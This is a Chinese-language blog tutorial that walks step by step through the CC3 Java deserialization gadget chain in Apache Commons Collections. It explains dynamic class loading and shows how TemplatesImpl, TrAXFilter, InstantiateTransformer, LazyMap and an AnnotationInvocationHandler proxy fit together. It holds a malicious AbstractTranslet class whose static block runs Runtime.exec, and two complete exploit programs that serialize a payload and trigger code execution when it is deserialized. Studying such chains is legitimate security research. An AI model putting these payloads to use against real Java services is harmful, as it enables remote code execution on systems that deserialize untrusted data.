CC3-类的动态加载+动态代理

环境搭建

环境跟CC1一样, https://www.cnblogs.com/starme/p/18464845

大概链子:

image-20241014195106256

image-20241014195126732

参考教程: https://www.bilibili.com/video/BV1Zf4y1F74K?t=1.3

分析

1. 类的动态加载

img
类的加载

Class c = Person.class;
ClassLoader cl = ClassLoader.getSystemClassLoader();

Class<?> person = Class.forName("Person",false,cl);
Class<?> person1 = cl.loadClass("Person");

类的加载器有多种:

ClassLoader -> SecureClassLoader -> URLClassLoader -> AppClassLoader

一般是由AppClassLoader处理
表现形式为:

sun.misc.Launcher$AppClassLoader@....

通过URLClassLoader实现加载任意字节码

// 获得类加载器
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://")});
// 类加载
Class<?> c = urlClassLoader.loadClass("Test");
// 类的实例化
c.newInstance();

通过反射调用ClassLoader类里面的defineClass函数进行加载

ClassLoader.defineClass字节码加载任意类
ClassLoader cl = ClassLoader.getSystemClassLoader();
Class c = ClassLoader.class;
Method defineClassMethod = c.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\__easyHelper__\\Test.class"));
defineClassMethod.invoke(cl,"Test",0,code.length);

反射就是先获得Class对象 -> 获得方法或变量 -> setAccessible -> invoke调用

加载后进行实例化:

ClassLoader cl = ClassLoader.getSystemClassLoader();
Class c = ClassLoader.class;
Method defineClassMethod = c.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\__easyHelper__\\Test.class"));
Class c2 = (Class) defineClassMethod.invoke(cl, "Test", 0, code.length);
// 实质上是执行:cl.defineClass("Test", 0, code.length);
c2.newInstance();

获得类之后就要newInstance进行实例化
与CC1不同,CC1是找一个符合条件的能够进行反射执行invoke方法的方法
而CC3是找一个重写defineClass且为public修饰的地方
重写的是ClassLoader里面的defineClass,然后查找用法

2. TemplatesImpl.newTransformer -> defineClass.newInstance

TemplatesImpl.defineClass

ClasssLoader里面的defineClass:

查找用法,找到这个:

在com.sun.org.apache.xalan.internal.xsltc.trax包的TemplatesImpl类

Class defineClass(final byte[] b)

没有被public修饰,不能直接调用

接着看哪里调用了这个defineClass

defineTransletClasses

在这个类的defineTransletClasses方法中调用

private void defineTransletClasses()

但是这个被private修饰,也是不能直接调用
继续查找其用法

这个类的三个方法中都调用了defineTransletClasses方法
分别是getTransletClasses、getTransletIndex、getTransletInstance
但是只有getTransletIndex被public修饰 ×

被public修饰不要紧,继续调用就行了

getTransletInstance

只有getTransletInstance方法中还涉及了类的初始化:

所以选择getTransletInstance

newTransformer

查找getTransletInstance的用法:

发现还是在这个类中,在public修饰的newTransformer方法里调用

所以接下来在刚刚涉及到的地方打断点,然后慢慢调试

上面涉及到的方法都是在TemplatesImpl类里面的
这个类的构造函数:
有一个空参构造方法

public TemplatesImpl()

挑食下发现首先要绕过getTransletInstance方法的这里:

给_name赋值,而不给_class赋值

查找_name的用法:

这三种写入方式都是行不通的
由此想到万能的反射

Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");

加上之后再调试,来到了这里:

发现要给_bytecodes赋值

类似的,通过反射给它赋值
先看一下它的类型,以免发生赋值错误:

private byte[][] _bytecodes = null;

是个二维数组,那怎么赋值?
再结合一下下面的:

_class[i] = loader.defineClass(_bytecodes[i]);

我们是想让

defineClass("Test", 0, code.length)

把代码放到一维数组里面,然后外面再由代码逻辑套一层就成二维数组了

Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\__easyHelper__\\Test_CC3.class"));
byte[][] codes= {code};
bytecodesField.set(templates,codes);

实际执行的是:

loader = defineClass(code);

再次调试,发现在这里报错:

报错:NullPointerException ,即空指针
当尝试使用一个为null的对象时抛出这个异常,也就是说,代码试图调用一个方法或访问一个属性,但对象本身是null,无法进行操作

来看看它是什么东西:

private transient TransformerFactoryImpl _tfactory = null;

可见_tfactory被transient修饰,即为不可被序列化的一个变量
所以应该在readObject里面赋值

_tfactory = new TransformerFactoryImpl();

从这里可以看出_tfactory应该赋什么值
再用上反射:

Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

按理来说,运行之后应该会执行Test_CC3.class里面的东西
确实执行了
不要忘了defineTransletClasses方法里面的这个判断:

superClass.getName().equals(ABSTRACT_TRANSLET)

这里在看父类的名字是否与ABSTRACT_TRANSLET相同
来看看ABSTRACT_TRANSLET 是什么东西:

private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

注意还要学习恶意Class文件怎么编写

一般的恶意Class文件:

package org.example.CC;
import java.io.IOException;
public class Test2 {
    static {
        try{
            Runtime.getRuntime().exec("calc");
        } catch (IOException e){
            e.printStackTrace();
        }
    }
}

如今上面限制了父类的名称,所以要加个extends加个父类

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

public class Test extends AbstractTranslet

加入父类之后还得处理父类带来的接口的实现,即:

package org.example.CC;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet{
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e){
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

这么处理后就能绕过superClass.getName().equals(ABSTRACT_TRANSLET)这个判断了

如今实现了:

TemplatesImpl.newTransformer 
-> getTransletInstance
-> defineTransletClasses
-> defineClass
-> newInstance

3.1 ChainedTransformer.transform

现在接着往下写,继续扩展templates.newTransformer();

// 扩展:templates.newTransformer();
// 接下来这部分不应该是简单的调用,而是类似于反射
Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(templates), // 对应templates
        new InvokerTransformer("newTransformer", null,null) // newTransformer为无参,对应.newTransformer()
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(1); // 调用transform

进行的是chainedTransformer.transform -> TemplatesImpl.newTransformer

然后再拓展chainedTransformer.transform(1); 这部分内容

HashMap<Object, Object> map = new HashMap<>();
// 新生成一个map:
map.put("value", "aaa"); // 这个value为Target接口的成员方法的名称
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取构造方法
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
// 确保能访问
annotationInvocationdhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationdhdlConstructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,mapProxy);
//        serialize(o);
unserialize("ser.bin");

3.2 TrAXFilter.TrAXFilter

找能动态调用newTransformer方法的其他transform方法

调用这个newTransformer方法的还有其他类,如TransformerFactoryImpl类

但是这个类不能序列化
如果要使用的话,就要像Runtime一样调用Class对象之类的
但是使用Runtime类的时候是没有传参数的,而TransformerFactoryImpl类需要传,这种传参的最好是在构造函数里面传
但是可以发现TransformerFactoryImpl类的构造函数很难传参:

所以不使用TransformerFactoryImpl类有几个原因:

  • TransformerFactoryImpl类不能序列化,利用起来麻烦,但不是不能利用
  • 需要传参,且很难通过构造函数传,利用起来麻烦

我们这里找的是TrAXFilter类

因为这个

虽然好像也不能序列化,但是传参利用方便,直接在构造函数这里就调用了

public TrAXFilter(Templates templates)  throws
TransformerConfigurationException

_transformer = (TransformerImpl) templates.newTransformer();

templates = TemplatesImpl

说明只要能够调用这个类的构造函数并传参,就能触发TransformerFactoryImpl类的newTransformer

那么怎么调用,同时又要跟transfrom方法有关

InstantiateTransformer.transform

这里使用的是org.apache.commons.collections.functors.InstantiateTransformer类

public Object transform(Object input) {
  try {
      if (input instanceof Class == false) {
          throw new FunctorException(
              "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                  + (input == null ? "null object" : input.getClass().getName()));
      }
      Constructor con = ((Class) input).getConstructor(iParamTypes);
      return con.newInstance(iArgs);

这个恰好能满足要求,能够调用构造函数并传参
这里面有paramTypes和iArgs这两个可控参数,分别是构造函数的参数类型和构造函数的参数值
InstantiateTransformer的构造函数:

public InstantiateTransformer(Class[] paramTypes, Object[] args)

所以构造:

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

还要调用instantiateTransformer对象的transform方法才行

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
//        TrAXFilter trAXFilter = new TrAXFilter(templates);
instantiateTransformer.transform(TrAXFilter.class);

注意只有能序列化的类才能new对象,所以这里不能直接把TrAXFilter类实例化了,这里实例化的时候就直接触发它的构造方法,也就没有instantiateTransformer.transform什么事了
这里传的是TrAXFilter.class,对应的是:

  • Object input

果然Object的话啥都能传

实际上这里执行的是:

((Class) TrAXFilter.class).getConstructor(new Class[]{Templates.class}).newInstance(new Object[]{templates});;

注意getConstructor方法跟在Class对象之后


这样的话又把transform这条线连起来了

接着就拓展

instantiateTransformer.transform(TrAXFilter.class);

这条线

修改并加上之前的代码:

HashMap<Object, Object> map = new HashMap<>();
// 新生成一个map:
map.put("value", "aaa"); // 这个value为Target接口的成员方法的名称
Map<Object, Object> lazyMap = LazyMap.decorate(map, instantiateTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取构造方法
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
// 确保能访问
annotationInvocationdhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationdhdlConstructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,mapProxy);
serialize(o);
unserialize("ser.bin");

然后反序列化的时候出错:

说的是这里的input不为Classs:

发现这里的值是entrySet:

这是之前的老毛病了,不能控制最后的变量

package org.example.CC;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3_2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        //        templates.newTransformer();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaa");

        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://__easyHelper__/Test_CC3.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        //
        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
//    InstantiateTransformer(Templates.class,)

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
//        TrAXFilter trAXFilter = new TrAXFilter(templates);
//        instantiateTransformer.transform(TrAXFilter.class);

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        // 新生成一个map:
        map.put("value", "aaa"); // 这个value为Target接口的成员方法的名称
        Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 获取构造方法
        Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        // 确保能访问
        annotationInvocationdhdlConstructor.setAccessible(true);
        InvocationHandler h = (InvocationHandler) annotationInvocationdhdlConstructor.newInstance(Override.class, lazyMap);
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
        Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,mapProxy);
//        serialize(o);
        unserialize("ser.bin");

//        TiedMapEntry


    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

现在有个问题,最后的entrySet是哪儿来的?

+

无参方法entrySet,所以member = entrySet

这部分用了CC1的动态代理部分内容

代码

代码1

image-20241014200541450

package org.example.CC;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.*;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws Exception {
//        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://")});
//        Class<?> c = urlClassLoader.loadClass("Test");
//        c.newInstance();
        TemplatesImpl templates = new TemplatesImpl();
//        templates.newTransformer();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaa");

        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://__easyHelper__/Test_CC3.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
//
        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
//        templates.newTransformer();

        // 扩展:templates.newTransformer();
        // 接下来这部分不应该是简单的调用,而是类似于反射
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates), // 对应templates
                new InvokerTransformer("newTransformer", null,null) // newTransformer为无参,对应.newTransformer()
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(1); // 调用transform

        HashMap<Object, Object> map = new HashMap<>();
        // 新生成一个map:
        map.put("value", "aaa"); // 这个value为Target接口的成员方法的名称
        Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 获取构造方法
        Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        // 确保能访问
        annotationInvocationdhdlConstructor.setAccessible(true);
        InvocationHandler h = (InvocationHandler) annotationInvocationdhdlConstructor.newInstance(Override.class, lazyMap);
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
        Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,mapProxy);
//        serialize(o);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

代码2

image-20241014200513983

package org.example.CC;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3_2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        //        templates.newTransformer();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaa");

        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://__easyHelper__/Test_CC3.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        //
        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
//    InstantiateTransformer(Templates.class,)

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
//        TrAXFilter trAXFilter = new TrAXFilter(templates);
//        instantiateTransformer.transform(TrAXFilter.class);

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        // 新生成一个map:
        map.put("value", "aaa"); // 这个value为Target接口的成员方法的名称
        Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 获取构造方法
        Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        // 确保能访问
        annotationInvocationdhdlConstructor.setAccessible(true);
        InvocationHandler h = (InvocationHandler) annotationInvocationdhdlConstructor.newInstance(Override.class, lazyMap);
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
        Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,mapProxy);
        serialize(o);
        unserialize("ser.bin");

//        TiedMapEntry


    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

posted @ 2024-10-14 20:09  starme  阅读(5)  评论(0编辑  收藏  举报